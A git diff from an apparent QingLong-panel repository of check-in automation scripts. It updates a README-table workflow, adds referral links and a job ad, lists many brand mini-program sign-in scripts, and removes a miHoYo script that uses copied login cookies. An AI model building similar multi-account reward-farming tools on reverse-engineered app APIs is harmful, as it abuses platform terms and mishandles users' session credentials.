diff --git a/.github/workflows/checkScriptStatus.yml b/.github/workflows/checkScriptStatus.yml index a2138dc0..12a043c0 100644 --- a/.github/workflows/checkScriptStatus.yml +++ b/.github/workflows/checkScriptStatus.yml @@ -5,9 +5,11 @@ on: branches: - main paths: - - 'daily/**' # 仅监控 daily 目录下的变更 + - 'daily/**' # 监控 daily 目录 - '!daily/notify.py' # 排除 notify.py - '!daily/**/*.md' # 排除 md 文件 + - 'wxapp/**' # 监控 wxapp 目录 + - '!wxapp/**/*.md' # 排除 wxapp 下的 md 文件 jobs: update-readme: @@ -36,7 +38,7 @@ jobs: import datetime import subprocess - # 1. 获取本次 Push 更改的文件列表 + # 获取本次 Push 更改的文件列表 try: diff_cmd = ['git', 'diff', '--name-only', 'HEAD~1', 'HEAD'] result = subprocess.run(diff_cmd, capture_output=True, text=True, check=True) @@ -50,31 +52,59 @@ jobs: changed_files = [] now = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') - - # 2. 提取变更文件中的 Env 名称及更新时间 - updates = {} + + # ========== 1. 收集更新信息 ========== + daily_updates = {} # 脚本名 -> 更新时间 + wxapp_updates = {} # 脚本名 -> 更新时间 + for f in changed_files: + # 处理 daily 目录 if f.startswith('daily/') and os.path.exists(f): filename = os.path.basename(f) if filename != 'notify.py' and not f.endswith('.md'): with open(f, 'r', encoding='utf-8') as file: - match = re.search(r'Env\s*\(\s*["\']([^"\']+)["\']\s*\)', file.read()) + content = file.read() + match = re.search(r'Env\s*\(\s*["\']([^"\']+)["\']\s*\)', content) if match: - updates[match.group(1)] = now + daily_updates[match.group(1)] = now - # 3. 遍历 daily 目录获取所有的 Env(用于找出表格中缺失的) - all_envs = set() + # 处理 wxapp 目录(同样使用 Env 提取) + elif f.startswith('wxapp/') and os.path.exists(f): + if f.endswith('.js') or f.endswith('.py'): + with open(f, 'r', encoding='utf-8') as file: + content = file.read() + match = re.search(r'Env\s*\(\s*["\']([^"\']+)["\']\s*\)', content) + if match: + wxapp_updates[match.group(1)] = now + + # ========== 2. 扫描目录获取所有现有脚本 ========== + # daily 所有 Env 名称 + all_daily_scripts = set() if os.path.exists('daily'): for root, _, files in os.walk('daily'): for file in files: if file != 'notify.py' and not file.endswith('.md'): fpath = os.path.join(root, file).replace('\\', '/') with open(fpath, 'r', encoding='utf-8') as f: - match = re.search(r'Env\s*\(\s*["\']([^"\']+)["\']\s*\)', f.read()) + content = f.read() + match = re.search(r'Env\s*\(\s*["\']([^"\']+)["\']\s*\)', content) + if match: + all_daily_scripts.add(match.group(1)) + + # wxapp 所有 Env 名称 + all_wxapp_scripts = set() + if os.path.exists('wxapp'): + for root, _, files in os.walk('wxapp'): + for file in files: + if file.endswith('.js') or file.endswith('.py'): + fpath = os.path.join(root, file).replace('\\', '/') + with open(fpath, 'r', encoding='utf-8') as f: + content = f.read() + match = re.search(r'Env\s*\(\s*["\']([^"\']+)["\']\s*\)', content) if match: - all_envs.add(match.group(1)) + all_wxapp_scripts.add(match.group(1)) - # 4. 修改 README.md + # ========== 3. 更新 README 中的两个表格 ========== readme_path = 'README.md' if not os.path.exists(readme_path): print("README.md 不存在!") @@ -83,23 +113,24 @@ jobs: with open(readme_path, 'r', encoding='utf-8') as f: full_text = f.read() - start_tag = "" - end_tag = "" + # ---------- 3.1 更新 daily 表格 ---------- + start_daily = "" + end_daily = "" - if start_tag not in full_text or end_tag not in full_text: - print("错误:未找到锚点标记!") + if start_daily not in full_text or end_daily not in full_text: + print("错误:未找到 daily 表格的锚点标记!") exit(1) - pre_part, temp = full_text.split(start_tag) - table_section, post_part = temp.split(end_tag) + pre_part, temp = full_text.split(start_daily) + daily_table_section, post_part = temp.split(end_daily) - lines = table_section.strip().split('\n') + lines = daily_table_section.strip().split('\n') header, separator, body_lines = [], [], [] mode = 'header' - for line in lines: l_s = line.strip() - if not l_s.startswith('|'): continue + if not l_s.startswith('|'): + continue if '脚本名称' in l_s: header.append(line) mode = 'separator' @@ -109,34 +140,84 @@ jobs: elif mode == 'body': body_lines.append(line) - existing_names = set() - new_body_lines = [] - - # A. 处理表格中已存在的脚本 + existing_daily = set() + new_daily_body = [] for line in body_lines: parts = [p.strip() for p in line.split('|')] if len(parts) >= 4: name = parts[1] - existing_names.add(name) - # 如果该脚本在本次 push 中被修改,更新时间 - if name in updates: - line = f"| {name} | {updates[name]} | ✅ |" - new_body_lines.append(line) - - # B. 添加本次修改引发的新增脚本 - for name, tm in updates.items(): - if name not in existing_names: - new_body_lines.append(f"| {name} | {tm} | ✅ |") - existing_names.add(name) - - # C. 添加存在于 daily 目录但 README 表格中缺失的脚本 - for name in all_envs: - if name not in existing_names: - new_body_lines.append(f"| {name} | {now} | ✅ |") - existing_names.add(name) - - final_table = "\n".join(header + separator + new_body_lines) - final_content = f"{pre_part}{start_tag}\n{final_table}\n{end_tag}{post_part}" + existing_daily.add(name) + if name in daily_updates: + line = f"| {name} | {daily_updates[name]} | ✅ |" + new_daily_body.append(line) + + for name, tm in daily_updates.items(): + if name not in existing_daily: + new_daily_body.append(f"| {name} | {tm} | ✅ |") + existing_daily.add(name) + + for name in all_daily_scripts: + if name not in existing_daily: + new_daily_body.append(f"| {name} | {now} | ✅ |") + + final_daily_table = "\n".join(header + separator + new_daily_body) + + # ---------- 3.2 更新 wxapp 表格 ---------- + start_wxapp = "" + end_wxapp = "" + + if start_wxapp not in full_text or end_wxapp not in full_text: + print("错误:未找到 wxapp 表格的锚点标记!") + exit(1) + + # 从 post_part 中提取 wxapp 表格(因为 daily 表格已被切出) + wxapp_pre, wxapp_temp = post_part.split(start_wxapp) + wxapp_table_section, final_post = wxapp_temp.split(end_wxapp) + + lines_wx = wxapp_table_section.strip().split('\n') + header_wx, separator_wx, body_lines_wx = [], [], [] + mode_wx = 'header' + for line in lines_wx: + l_s = line.strip() + if not l_s.startswith('|'): + continue + if '脚本名称' in l_s: + header_wx.append(line) + mode_wx = 'separator' + elif '---' in l_s and mode_wx == 'separator': + separator_wx.append(line) + mode_wx = 'body' + elif mode_wx == 'body': + body_lines_wx.append(line) + + existing_wxapp = set() + new_wxapp_body = [] + for line in body_lines_wx: + parts = [p.strip() for p in line.split('|')] + if len(parts) >= 4: + name = parts[1] + existing_wxapp.add(name) + if name in wxapp_updates: + line = f"| {name} | {wxapp_updates[name]} | ✅ |" + new_wxapp_body.append(line) + + for name, tm in wxapp_updates.items(): + if name not in existing_wxapp: + new_wxapp_body.append(f"| {name} | {tm} | ✅ |") + existing_wxapp.add(name) + + for name in all_wxapp_scripts: + if name not in existing_wxapp: + new_wxapp_body.append(f"| {name} | {now} | ✅ |") + + final_wxapp_table = "\n".join(header_wx + separator_wx + new_wxapp_body) + + # 重新组合整个 README + final_content = ( + pre_part + start_daily + "\n" + final_daily_table + "\n" + end_daily + + wxapp_pre + start_wxapp + "\n" + final_wxapp_table + "\n" + end_wxapp + + final_post + ) with open(readme_path, 'w', encoding='utf-8') as f: f.write(final_content) @@ -151,7 +232,7 @@ jobs: git config --local user.name "github-actions[bot]" git add README.md if ! git diff --staged --quiet; then - git commit -m "docs: 自动更新 daily 脚本状态 [skip ci]" + git commit -m "docs: 自动更新 daily 和 wxapp 脚本状态 [skip ci]" git push else echo "无变更需推送。" diff --git a/.gitignore b/.gitignore index 130e5ed7..16b3bd06 100644 --- a/.gitignore +++ b/.gitignore @@ -3,4 +3,6 @@ package*.json .gitignore .codex .czrc -Tools/ \ No newline at end of file +Tools/ +wxapp/*_token_cache.json +daily/*_token_cache.json diff --git a/README.md b/README.md index ab9576d7..e61b7dc8 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,46 @@ +## 免费AI中转站 + +https://kktoken.cc/sign-up?aff=lMQ6 + + +https://free.supxh.xin/register?code=BVDU5Y + + +https://vsllm.com/register?aff=5Wvk + + +https://tabitoken.com/sign-up?aff=c6Rg + + +https://gorouter.app/sign-up?aff=ZXsr + + +https://agentrouter.org/register?aff=s51d + + +https://api2.gemai.cc/sign-up?aff=Fjsj + + +https://api456.me/register?aff=yBOp + + +https://api.hcnsec.cn/sign-up?aff=tEPD + + +https://freemodel.dev/invite/FRE-cd7d1d77 + + +https://api.justwoker.icu/sign-up?aff=nUng + + +访问不了就用梯子 +注册不了就用第三方登录 + +## WEB搜索就用必应;每天搜索有积分;积分换购物卡 +https://rewards.bing.com/welcome?rh=g7a-IyWIfh0&ref=rafsrchae +## 大环境不好求职 +本人大专毕业!学习逆向5年,移动应用;PC应用;浏览器网页逆向相关!JSVMP;混淆等;可用AI工具提高开发效率! +目标薪资10K ### 脚本功能列表 | 脚本名称 | 最后一次更新时间 | 当前状态 | @@ -19,20 +62,19 @@ | 麦斯威尔福利社小程序 | 2026-04-05 09:54:35 | ✅ | | 摩托范 | 2026-04-05 14:32:06 | ✅ | | 蜜雪冰城 | 2026-04-05 16:40:26 | ✅ | -| 荷叶健康小程序 | 2026-04-07 15:53:03 | ✅ | +| 荷叶健康小程序 | 2026-07-11 14:18:32 | ✅ | | 慕思小程序 | 2026-04-06 18:29:34 | ✅ | | 统一快乐星球茄皇 | 2026-04-06 10:13:09 | ✅ | | colorful七彩虹 | 2026-04-08 20:04:58 | ✅ | | 得物0元抽 | 2026-04-08 20:04:58 | ✅ | -| 海尔智家 | 2026-04-09 17:59:11 | ✅ | | iqoo社区 | 2026-04-08 20:04:58 | ✅ | -| 心喜小程序 | 2026-04-07 15:53:03 | ✅ | +| 心喜小程序 | 2026-08-28 14:03:53 | ✅ | | BREO | 2026-04-07 19:05:34 | ✅ | | stokkes小程序签到 | 2026-04-07 19:05:34 | ✅ | | 浓五的酒馆 | 2026-04-07 19:05:34 | ✅ | | 硬声 | 2026-04-07 20:25:35 | ✅ | | 顺丰速运日常任务 | 2026-04-09 19:02:56 | ✅ | -| 中国移动云盘 | 2026-04-07 20:25:35 | ✅ | +| 中国移动云盘 | 2026-08-20 11:50:45 | ✅ | | 植白说小程序 | 2026-04-07 20:25:35 | ✅ | | 鸿星尔克签到 | 2026-04-07 20:25:35 | ✅ | | lenovo联想 | 2026-04-07 20:25:35 | ✅ | @@ -49,13 +91,191 @@ | 逢三得利吧小程序 | 2026-04-07 20:25:35 | ✅ | | 可口可乐吧 | 2026-04-07 20:25:35 | ✅ | | 臭宝乐园 | 2026-04-08 13:16:25 | ✅ | -| 谷雨小程序 | 2026-04-08 13:16:25 | ✅ | +| 谷雨小程序 | 2026-04-12 13:28:49 | ✅ | | 立乐家会员俱乐部 | 2026-04-08 13:57:03 | ✅ | +| 益禾堂 | 2026-04-12 14:09:41 | ✅ | +| 统一快乐星球茄皇(五期) | 2026-08-03 15:36:18 | ✅ | +## 微信小程序脚本 +需要配置 `wx_server_url` / `wx_auth` 获取微信小程序 `code`。首次使用一般需要先在对应微信小程序内完成注册、授权或绑定手机号。 + + +| 脚本名称 | 最后一次更新时间 | 当前状态 | +| :--- | :----: | :----: | +| 雀巢会员俱乐部 | 2026-07-14 09:32:52 | ✅ | +| 好人家签到 | 2026-07-14 09:32:52 | ✅ | +| 浓五的酒馆 | 2026-07-14 09:32:52 | ✅ | +| 复游会 | 2026-07-14 09:32:52 | ✅ | +| colorful七彩虹 | 2026-07-14 09:32:52 | ✅ | +| 五个女博士微信小程序签到 | 2026-07-14 09:32:52 | ✅ | +| 金巴厘杯中空间签到 | 2026-07-14 09:32:52 | ✅ | +| 绿鼻子微信小程序签到 | 2026-07-14 09:32:52 | ✅ | +| 华住会 | 2026-07-14 09:32:52 | ✅ | +| 风云再起北京 | 2026-07-14 09:32:52 | ✅ | +| 腾讯电脑管家登录 | 2026-07-14 09:32:52 | ✅ | +| 大参林小程序签到 | 2026-07-14 09:32:52 | ✅ | +| 爱玛会员俱乐部 | 2026-09-05 21:12:06 | ✅ | +| 天牛旧衣服回收签到 | 2026-07-14 09:32:52 | ✅ | +| 创维会员中心 | 2026-07-14 09:32:52 | ✅ | +| 飞鹤微信小程序签到 | 2026-07-14 09:32:52 | ✅ | +| 慕斯小程序签到 | 2026-07-14 09:32:52 | ✅ | +| ykb_huiyuan统一签到 | 2026-07-14 09:32:52 | ✅ | +| 龙湖天街签到 | 2026-07-14 09:32:52 | ✅ | +| 臭宝乐园 | 2026-07-14 09:32:52 | ✅ | +| 老板电器ROKI签到 | 2026-07-14 09:32:52 | ✅ | +| 麦富迪会员签到 | 2026-07-14 09:32:52 | ✅ | +| 同程旅行里程签到 | 2026-07-14 09:32:52 | ✅ | +| 爱果乐之家微信小程序签到 | 2026-07-14 09:32:52 | ✅ | +| 日清食品签到 | 2026-07-14 09:32:52 | ✅ | +| iqoo社区 | 2026-07-14 09:32:52 | ✅ | +| 趣蛙/匠心优选 | 2026-07-14 09:32:52 | ✅ | +| 敷尔佳小程序签到 | 2026-07-14 09:32:52 | ✅ | +| 微信小程序 - 美的会员 | 2026-07-14 09:32:52 | ✅ | +| 影视飓风小程序签到 | 2026-07-14 09:32:52 | ✅ | +| 逢三得利吧小程序 | 2026-07-14 09:32:52 | ✅ | +| 谭木匠会员俱乐部签到 | 2026-07-14 09:32:52 | ✅ | +| 梦想家TSE微信小程序签到 | 2026-07-14 09:32:52 | ✅ | +| 中通快递 | 2026-07-14 09:32:52 | ✅ | +| 骁龙骁友会 | 2026-07-14 09:32:52 | ✅ | +| 战马能量星球 | 2026-07-14 09:32:52 | ✅ | +| 植白说小程序 | 2026-07-14 09:32:52 | ✅ | +| 衣城通 | 2026-07-14 09:32:52 | ✅ | +| 可口可乐小程序 | 2026-07-14 09:32:52 | ✅ | +| OPPO | 2026-07-14 09:32:52 | ✅ | +| 君品荟 | 2026-08-17 13:03:19 | ✅ | +| 海天美味馆小程序 | 2026-07-14 09:32:52 | ✅ | +| 呼啦圈小程序签到 | 2026-08-21 10:17:57 | ✅ | +| WPS | 2026-07-14 09:32:52 | ✅ | +| sinsin微信小程序签到 | 2026-07-14 09:32:52 | ✅ | +| 优点云创 | 2026-07-14 09:32:52 | ✅ | +| 云朵叮叮微信小程序签到 | 2026-07-14 09:32:52 | ✅ | +| 米萌生活 | 2026-07-14 09:32:52 | ✅ | +| 蜜雪冰城 | 2026-07-14 09:32:52 | ✅ | +| 旧衣小二签到 | 2026-07-14 09:32:52 | ✅ | +| 花生帮粉丝俱乐部签到任务 | 2026-07-14 09:32:52 | ✅ | +| tuoluzhe拓路者小程序签到 | 2026-07-14 09:32:52 | ✅ | +| jingjianx统一签到 | 2026-07-14 09:32:52 | ✅ | +| 康师傅畅饮社 | 2026-07-14 09:32:52 | ✅ | +| 米其林会员小程序 | 2026-07-14 09:32:52 | ✅ | +| 千金健康生活微信小程序签到 | 2026-07-14 09:32:52 | ✅ | +| 谷雨小程序 | 2026-07-14 09:32:52 | ✅ | +| 腾讯地图 | 2026-07-14 09:32:52 | ✅ | +| 顾家小程序签到 | 2026-07-14 09:32:52 | ✅ | +| stokke小程序 | 2026-07-14 09:32:52 | ✅ | +| CASETiFY 签到 | 2026-07-14 09:32:52 | ✅ | +| 发发藏宝洞小程序签到 | 2026-08-21 10:17:57 | ✅ | +| BREO | 2026-07-14 09:32:52 | ✅ | +| 国乐酱酒 | 2026-07-14 09:32:52 | ✅ | +| 飞鹤星妈会 | 2026-08-21 10:17:57 | ✅ | +| 烈儿宝贝小程序签到 | 2026-07-14 09:32:52 | ✅ | +| 蜜蜂惊喜社微信小程序签到 | 2026-07-14 09:32:52 | ✅ | +| 戴可思小程序签到 | 2026-07-14 09:32:52 | ✅ | +| 视软ytb2统一签到 | 2026-07-14 09:32:52 | ✅ | +| BLUE DASH 布鲁大师签到 | 2026-07-14 09:32:52 | ✅ | +| 纳爱斯品质生活签到 | 2026-07-14 09:32:52 | ✅ | +| 海信爱家 | 2026-07-14 09:32:52 | ✅ | +| 谢瑞麟小程序签到 | 2026-07-14 09:32:52 | ✅ | +| 橘子樱桃微信小程序签到 | 2026-07-14 09:32:52 | ✅ | +| 劲友家小程序签到 | 2026-07-14 09:32:52 | ✅ | +| 漓泉啤酒签到 | 2026-08-16 22:59:48 | ✅ | +| 红色火箭签到 | 2026-08-16 22:59:48 | ✅ | +| 全棉时代签到 | 2026-08-20 10:19:33 | ✅ | +| 北京环球签到 | 2026-08-17 11:30:05 | ✅ | +| 无影云电脑签到 | 2026-08-16 22:59:48 | ✅ | +| 芯享会签到 | 2026-08-16 22:59:48 | ✅ | +| 丸丫甄选签到 | 2026-08-16 22:59:48 | ✅ | +| 趣淘卡 | 2026-08-18 13:11:14 | ✅ | +| 社服益寿活动 | 2026-08-18 13:11:14 | ✅ | +| 一汽丰田丰享汇 | 2026-08-20 10:19:33 | ✅ | +| 牛油谷 | 2026-08-18 13:11:14 | ✅ | +| 善羿科技 | 2026-08-18 21:53:17 | ✅ | +| 中粮悦喜荟 | 2026-08-18 21:53:17 | ✅ | +| 小铛家 | 2026-08-18 21:53:17 | ✅ | +| 期云积签兑 | 2026-08-18 21:53:17 | ✅ | +| 申工社 | 2026-08-18 21:53:17 | ✅ | +| 白马智选 | 2026-08-18 21:53:17 | ✅ | +| 厚工坊 | 2026-08-18 21:53:17 | ✅ | +| 老板服务微商城 | 2026-08-18 17:47:16 | ✅ | +| 活力伊利 | 2026-08-18 21:53:17 | ✅ | +| 每天有乐 | 2026-08-18 21:53:17 | ✅ | +| 快集合 | 2026-08-18 17:47:16 | ✅ | +| 华润壹票达 | 2026-08-18 17:47:16 | ✅ | +| 有赞通用签到 | 2026-09-02 19:39:02 | ✅ | +| Babycare官方旗舰店 | 2026-08-18 21:53:17 | ✅ | +| 汤星球 | 2026-08-18 20:16:12 | ✅ | +| iyouke平台签到 | 2026-08-18 20:57:50 | ✅ | +| 万家乐会员俱乐部 | 2026-08-18 21:53:17 | ✅ | +| zippo会员 | 2026-08-18 21:53:17 | ✅ | +| 毛铺草本荟 | 2026-08-18 22:46:57 | ✅ | +| 群脉平台签到 | 2026-08-19 08:55:38 | ✅ | +| 爱裹旧衣回收 | 2026-08-19 08:55:38 | ✅ | +| 企迈qmai平台签到 | 2026-08-19 09:45:21 | ✅ | +| 伊家乐享会 | 2026-08-19 10:09:45 | ✅ | +| 安吉尔会员 | 2026-08-20 10:19:33 | ✅ | +| 爱康会员签到 | 2026-08-20 10:19:33 | ✅ | +| 宝妈上班 | 2026-08-20 10:19:33 | ✅ | +| 倍轻松签到 | 2026-08-20 10:19:33 | ✅ | +| 比亚迪海洋签到 | 2026-08-20 10:19:33 | ✅ | +| 骆驼CAMEL签到 | 2026-08-20 10:19:33 | ✅ | +| 铛铛一下签到 | 2026-08-20 10:19:33 | ✅ | +| 巅峰美缝师签到 | 2026-08-20 10:19:33 | ✅ | +| 东风日产签到 | 2026-08-20 10:19:33 | ✅ | +| 袋鼠妈妈会员商城签到 | 2026-08-20 10:19:33 | ✅ | +| 都市甜心签到 | 2026-08-20 10:19:33 | ✅ | +| DT生活签到 | 2026-08-20 10:19:33 | ✅ | +| 得物种树签到 | 2026-08-20 10:19:33 | ✅ | +| 飞蚂蚁旧衣回收 | 2026-08-20 10:19:33 | ✅ | +| 广汽丰田新能源签到 | 2026-08-20 10:19:33 | ✅ | +| 海尔智家签到 | 2026-08-20 10:19:33 | ✅ | +| 海澜之家签到 | 2026-08-20 10:19:33 | ✅ | +| demogic会员 | 2026-08-20 10:19:33 | ✅ | +| 加多宝Club签到 | 2026-08-20 10:19:33 | ✅ | +| 京东Code采集 | 2026-08-20 10:19:33 | ✅ | +| 金典有机生活签到 | 2026-08-20 10:19:33 | ✅ | +| 嘉立创签到 | 2026-08-20 10:19:33 | ✅ | +| 杰士邦会员中心 | 2026-08-20 10:19:33 | ✅ | +| 捷停车签到 | 2026-08-20 10:19:33 | ✅ | +| 酒仙签到 | 2026-08-20 10:19:33 | ✅ | +| 旧衣客签到 | 2026-08-28 14:03:53 | ✅ | +| 旧衣小二 | 2026-08-20 10:19:33 | ✅ | +| 绿动新球签到 | 2026-08-20 10:19:33 | ✅ | +| 绿蜜蜂签到 | 2026-08-20 10:19:33 | ✅ | +| 骆驼户外运动城签到 | 2026-08-20 10:19:33 | ✅ | +| 名创优品签到 | 2026-08-20 10:19:33 | ✅ | +| 美的会员签到 | 2026-08-20 10:19:33 | ✅ | +| 美的小天鹅 | 2026-08-20 10:19:33 | ✅ | +| 美孚臻享俱乐部签到 | 2026-08-20 10:19:33 | ✅ | +| 玛氏宠享会签到 | 2026-08-20 10:19:33 | ✅ | +| 牛牛短剧签到 | 2026-08-20 10:19:33 | ✅ | +| 奈雪签到 | 2026-08-20 10:19:33 | ✅ | +| Ole超市签到 | 2026-08-20 10:19:33 | ✅ | +| OPPO商城签到 | 2026-08-20 10:19:33 | ✅ | +| 拼多多果园签到 | 2026-08-20 10:19:33 | ✅ | +| 洽洽会员俱乐部 | 2026-08-20 10:19:33 | ✅ | +| RIO微醺俱乐部 | 2026-08-20 10:19:33 | ✅ | +| 红人库签到 | 2026-08-20 10:19:33 | ✅ | +| 认养一头牛签到 | 2026-08-20 10:19:33 | ✅ | +| 三福会员签到 | 2026-08-20 10:19:33 | ✅ | +| 顺丰速运签到 | 2026-08-20 10:19:33 | ✅ | +| 上美广场签到 | 2026-08-20 10:19:33 | ✅ | +| 深圳春茧未来荟签到 | 2026-08-20 10:19:33 | ✅ | +| 途虎养车签到 | 2026-08-20 10:19:33 | ✅ | +| 天机观签到 | 2026-08-20 10:19:33 | ✅ | +| 甜润世界签到 | 2026-09-05 21:12:06 | ✅ | +| 唯品会签到 | 2026-08-20 10:19:33 | ✅ | +| 薇诺娜签到 | 2026-08-20 10:19:33 | ✅ | +| 提现笔笔省领券 | 2026-08-20 10:19:33 | ✅ | +| 喂自由签到 | 2026-08-20 10:19:33 | ✅ | +| 携程会员签到 | 2026-08-20 10:19:33 | ✅ | +| 小米社区签到 | 2026-08-20 10:19:33 | ✅ | +| 小紫有约签到 | 2026-08-20 10:19:33 | ✅ | +| 微盟会员签到 | 2026-08-20 10:19:33 | ✅ | +| 拼多多果园公众号版 | 2026-09-02 19:39:02 | ✅ | + # 青龙面板拉库命令 -`ql repo https://github.com/smallfawn/QLScriptPublic.git backup main` +`ql repo https://github.com/smallfawn/QLScriptPublic.git` ## 免责声明 @@ -75,10 +295,10 @@ smallfawn 对任何脚本问题概不负责,包括但不限于由任何脚本 ## Star History - + - - - Star History Chart + + + Star History Chart - \ No newline at end of file + diff --git a/fenxiang.js b/backup/fenxiang.js similarity index 100% rename from fenxiang.js rename to backup/fenxiang.js diff --git a/gqftbz.js b/backup/gqftbz.js similarity index 100% rename from gqftbz.js rename to backup/gqftbz.js diff --git a/hqcsh.js b/backup/hqcsh.js similarity index 100% rename from hqcsh.js rename to backup/hqcsh.js diff --git a/jetta.js b/backup/jetta.js similarity index 100% rename from jetta.js rename to backup/jetta.js diff --git a/jlld.js b/backup/jlld.js similarity index 100% rename from jlld.js rename to backup/jlld.js diff --git a/jlqc.js b/backup/jlqc.js similarity index 100% rename from jlqc.js rename to backup/jlqc.js diff --git a/jlyh.js b/backup/jlyh.js similarity index 94% rename from jlyh.js rename to backup/jlyh.js index 92b64511..dca33e37 100644 --- a/jlyh.js +++ b/backup/jlyh.js @@ -202,7 +202,13 @@ class UserInfo { headers: this.getGetHeader(204179735, `/api/v1/login/refresh?refreshToken=${this.refreshToken}`), }, result = await httpRequest(options); - if (result.code == 'success') { + if (result?.__requestFailed) { + $.DoubleLog(`❌刷新KEY失败:接口无响应或网络异常(refreshToken 可能已过期,请先用手机打开一次「吉利银河」APP 刷新登录态后再跑)`); + this.ckStatus = false; + Notify = 1; + return; + } + if (result?.code == 'success' && result?.data?.centerTokenDto?.token) { console.log(`✅${result.message}: ${result.data.centerTokenDto.token} \n🆗刷新KEY:${result.data.centerTokenDto.refreshToken}`); this.ckStatus = true; this.token = result.data.centerTokenDto.token @@ -227,7 +233,12 @@ class UserInfo { let result = await httpRequest(options); - if (result.code == 0) { + if (result?.__requestFailed) { + $.DoubleLog(`❌查询签到状态失败:接口无响应(登录态可能已失效,请先打开一次「吉利银河」APP)`); + Notify = 1; + return false; + } + if (result?.code == 0) { if (result.data === true) { $.DoubleLog(`✅今日已经签到啦!`); return true; @@ -267,7 +278,12 @@ class UserInfo { let result = await httpRequest(options); - if (result.code == 0) { + if (result?.__requestFailed) { + $.DoubleLog(`❌签到失败:接口无响应(登录态可能已失效,请先打开一次「吉利银河」APP)`); + Notify = 1; + return; + } + if (result?.code == 0) { $.DoubleLog(`✅签到成功!`); await this.points(); Notify = 1; @@ -289,8 +305,8 @@ class UserInfo { headers: this.getGetHeader(204453306, `/h5/v1/points/get`), }, result = await httpRequest(options); - if (result.code == 0) { - $.DoubleLog(`✅剩余积分: ${result.data.availablePoints}`); + if (result?.code == 0) { + $.DoubleLog(`✅剩余积分: ${result?.data?.availablePoints ?? "未知"}`); } else { $.DoubleLog(`❌剩余积分查询: 失败`); console.log(result); @@ -335,7 +351,9 @@ function httpRequest(options, method = null) { console.log(`请求api返回数据为空,请检查自身原因`); } } - resolve(); + // 失败/空响应时返回安全对象而非 undefined,避免调用方读 result.code 抛 + // TypeError: Cannot read properties of undefined (reading 'code') + resolve({ __requestFailed: true }); }); }); } diff --git a/backup/mys.js b/backup/mys.js deleted file mode 100644 index e6ef01e4..00000000 --- a/backup/mys.js +++ /dev/null @@ -1,706 +0,0 @@ -/** - * mys 米忽悠 米游社 原神签到 - * scriptVersionNow = "0.0.4" - * cron 12 5 * * * mys.js - * 23-06-13 过渡更新V0.0.4 - * # 青龙面板 -- 配置文件 - * =>配置文件 export mys='cookie1&cookie2' - * =>环境变量 变量名mys 变量值(如下) - * 多账号用 @ 分割 - * ==================================== - * 打开https://www.miyoushe.com/ys/ - * ALook浏览器打开登录后点击下方导航栏最下面三条杠往左滑 点击工具箱-开发者工具-cookie-拷贝 - * 打开http://user.mihoyo.com/ - * ALook浏览器打开登录后点击下方导航栏最下面三条杠往左滑 点击工具箱-开发者工具-cookie-拷贝 - * 两个拷贝下来拼接到一起 拼接字符& 拼接字符& 拼接字符& - * 示例: - * cookie_token_v2=xxx; account_mid_v2=xxx; account_id_v2=xxx; ltoken_v2=xxx; ltmid_v2=xxx; ltuid_v2=xxx & login_uid=xxx; login_ticket=xxx; - * 必要参数 cookie_token_v2 ltoken_v2 login_ticket - * 二选一参数 ltmid_v2或者account_mid_v2 and account_id_v2或者ltuid_v2或者login_id - * 请确保上面5个参数都存在 - */ -const $ = new Env("米游社 原神签到"); -const ckName = "mys"; -//-------------------- 一般不动变量区域 ------------------------------------- -const { log } = require("console"); -const Notify = 1; //0为关闭通知,1为打开通知,默认为1 -const notify = $.isNode() ? require("./sendNotify") : ""; -let envSplitor = ["@"]; //多账号分隔符 -let msg = ""; -let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || ""; -let userList = []; -let userIdx = 0; -let userCount = 0; -let scriptVersionLatest; //最新版本 -let scriptVersionNow = "0.0.4"; //现在版本 -///////////////////// -let jiangliArr = []; -const fs = require('fs'); -let strShare = './Mihoyo_Account.json';//指定文件目录 -let Fileexists = fs.existsSync(strShare);//检测文件是否存在 -let TempAccount = []; -if (Fileexists) {//如果存在 - console.log("检测到米哈游缓存文件Mihoyo_Account.json,载入..."); - TempAccount = fs.readFileSync(strShare, 'utf-8'); - if (TempAccount) { - TempAccount = TempAccount.toString(); - TempAccount = JSON.parse(TempAccount); - } -} -//# 米游社的版本 # Salt和Version相互对应 -const mihoyobbs_version = "2.49.1"; -//# 米游社的客户端类型 # 1为ios 2为安卓 -const mihoyobbs_Client_type = "2"; -//# 4为pc web 5为mobile web -const mihoyobbs_Client_type_web = "5"; -//# 云原神版本 -const cloudgenshin_Version = "3.0.0"; -//# 米游社的分区列表 -const mihoyobbs_List = [ - { - id: "1", - forumId: "1", - name: "崩坏3", - url: "https://bbs.mihoyo.com/bh3/", - }, { - id: "2", - forumId: "26", - name: "原神", - url: "https://bbs.mihoyo.com/ys/", - }, { - id: "3", - forumId: "30", - name: "崩坏2", - url: "https://bbs.mihoyo.com/bh2/", - }, { - id: "4", - forumId: "37", - name: "未定事件簿", - url: "https://bbs.mihoyo.com/wd/", - }, { - id: "5", - forumId: "34", - name: "大别野", - url: "https://bbs.mihoyo.com/dby/", - }, { - id: "6", - forumId: "52", - name: "崩坏:星穹铁道", - url: "https://bbs.mihoyo.com/sr/", - }, { - id: "8", - forumId: "57", - name: "绝区零", - url: "https://bbs.mihoyo.com/zzz/", - }, -]; - -const game_id2name = { - bh2_cn: "崩坏2", - bh3_cn: "崩坏3", - nxx_cn: "未定事件簿", - hk4e_cn: "原神", - hkrpg_cn: "崩坏: 星穹铁道", -}; - -const game_id2config = { - bh2_cn: "honkai2", - bh3_cn: "honkai3rd", - nxx_cn: "tears_of_themis", - hk4e_cn: "genshin", - hkrpg_cn: "honkaisr", -}; - -//# 游戏签到的请求头 -const sign_headers = { - Accept: "application/json, text/plain, */*", - DS: "", - "x-rpc-channel": "miyousheluodi", - Origin: "https://webstatic.mihoyo.com", - "x-rpc-app_version": mihoyobbs_version, - "User-Agent": - `Mozilla/5.0 (Linux; Android 12; Unspecified Device) AppleWebKit/537.36 (KHTML, like Gecko) ` + - `Version/4.0 Chrome/103.0.5060.129 Mobile Safari/537.36 miHoYoBBS/${mihoyobbs_version}`, - "x-rpc-client_type": mihoyobbs_Client_type_web, - Referer: "", - "Accept-Encoding": "gzip, deflate", - "Accept-Language": "zh-CN,en-US;q=0.8", - "X-Requested-With": "com.mihoyo.hyperion", - Cookie: "", - "x-rpc-device_id": "", -}; - -//# 通用设置 -const bbs_api = "https://bbs-api.mihoyo.com"; -const web_api = "https://api-takumi.mihoyo.com"; -const account_Info_url = web_api + "/binding/api/getUserGameRolesByCookie?game_biz="; -const act_id_list = { - genshin_Act_id: "e202009291139501", //# 